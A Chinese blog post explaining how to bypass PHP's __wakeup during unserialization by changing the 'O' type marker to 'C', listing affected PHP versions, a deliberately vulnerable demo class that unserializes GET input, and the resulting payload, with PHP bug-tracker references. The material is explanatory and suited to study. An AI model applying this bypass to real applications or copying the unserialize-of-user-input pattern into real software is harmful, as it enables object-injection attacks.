首页 > 编程语言 >php反序列化绕过__wakeup(O改为C)

php反序列化绕过__wakeup(O改为C)

时间:2022-10-31 11:47:56浏览次数:42  
标签:__ php 7.2 start wakeup 序列化

先说下适用条件:

PHP版本:7.0.15 - 7.0.33, 7.1.1 - 7.1.33, 7.2.0 - 7.2.34, 7.3.0 - 7.3.28, 7.4.0 - 7.4.16, 8.0.0 - 8.0.3。

变量的初始化不在__construct里,而是在外面进行赋值,如下一样。(construct里面再次对需要用的变量赋值也不会影响。)

<?php
class Game{
    public $start = True;
    public function __construct()
    {
        
    }
    public function __destruct(){
        if($this->start === True){
            echo "You Win!!!!!!";
        }
        else
        {
            echo "Loser!!!!!!!!";
        }
    }
    public function __wakeup(){
        $this->start=False;
    }
}
if(isset($_GET['m'])){
    unserialize($_GET['m']);
}else{
    highlight_file(__FILE__);
}

?>

 正常序列化后:

m=O:4:"Game":1:{s:5:"start";i:1;}

修改后我们的payload如下:

m=C:4:"Game":0:{}

参考文章:

https://bugs.php.net/bug.php?id=81151

https://bugs.php.net/bug.php?id=81153 

标签:__,php,7.2,start,wakeup,序列化
From: https://www.cnblogs.com/meng-han/p/16843734.html

相关文章

  • 一句话总结cron表达式
    一句话秒、分、时、日期、月份、星期、年份,中间用半角空格分隔,日期和星期避免冲突,日期和星期可用?代替,年份可以省略,/表示增量。参考文档版权声明:本文所有权归作者!商......
  • 模拟数据监测
    <!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><metahttp-equiv="X-UA-Compatible"content="IE=edge"><metaname="viewport"conte......
  • mysql查询转换
     查询时会将字符串转数字.如果转换数字不成功,则看做0两边都是字符串的话,则按照ANSI的比较规则进行比较,不区分大小写(具体看mysql配置)  ......
  • 数组
     int[]相当于数据类型(复杂数据类型),也可以改为double[]等 arr为变量名,new是创建一个对象,然后是数据类型,[]中是数组中元素的个数   输出语句中[]中的数字是......
  • React
    来点前端1.介绍React是一个用于构建用户界面的JavaScript库空模板展示<!DOCTYPEhtml><html><head><metacharset="UTF-8"/><title>HelloWorl......
  • C# 8.0 添加和增强的功能【基础篇】
    .NETCore3.x和.NETStandard2.1支持C#8.0。一、Readonly成员可将 readonly修饰符应用于结构的成员,来限制成员为不可修改状态。这比在C#7.2中将readonly修饰符......
  • 易基因|动物发育:DNA甲基化组与转录组综合分析绒山羊胚胎期毛囊发育的调控机制
    大家好,这里是专注表观组学十余年,领跑多组学科研服务的易基因。西北农林科技大学动物科技学院博士研究生王善禾和李芳为共同第一作者、王昕教授和榆林学院屈雷教授为共同通......
  • Zookeeper组件部署
    Zookeeper组件部署1实验目的掌握ZooKeeper集群安装部署,加深对ZooKeeper相关概念的理解,熟练ZooKeeper的一些常用Shell命令。2实验要求部署三个节点的ZooKeeper集群,通......
  • windows 开机自动运行nodejs项目 pm2方法实现
    PM2是带有内置负载平衡器的Node.js应用程序的生产过程管理器。可以利用它来简化很多Node应用管理的繁琐任务,如性能监控、自动重启、负载均衡等。安装部署1、我们一......
  • OpenCV img和base64转换
    img->cv::Mat-->Base64std::vector<uchar>buf;cv::Matmat(height,width,CV_8U,image_data.data());cv::imencode(".png",mat,buf);autoenc_ms......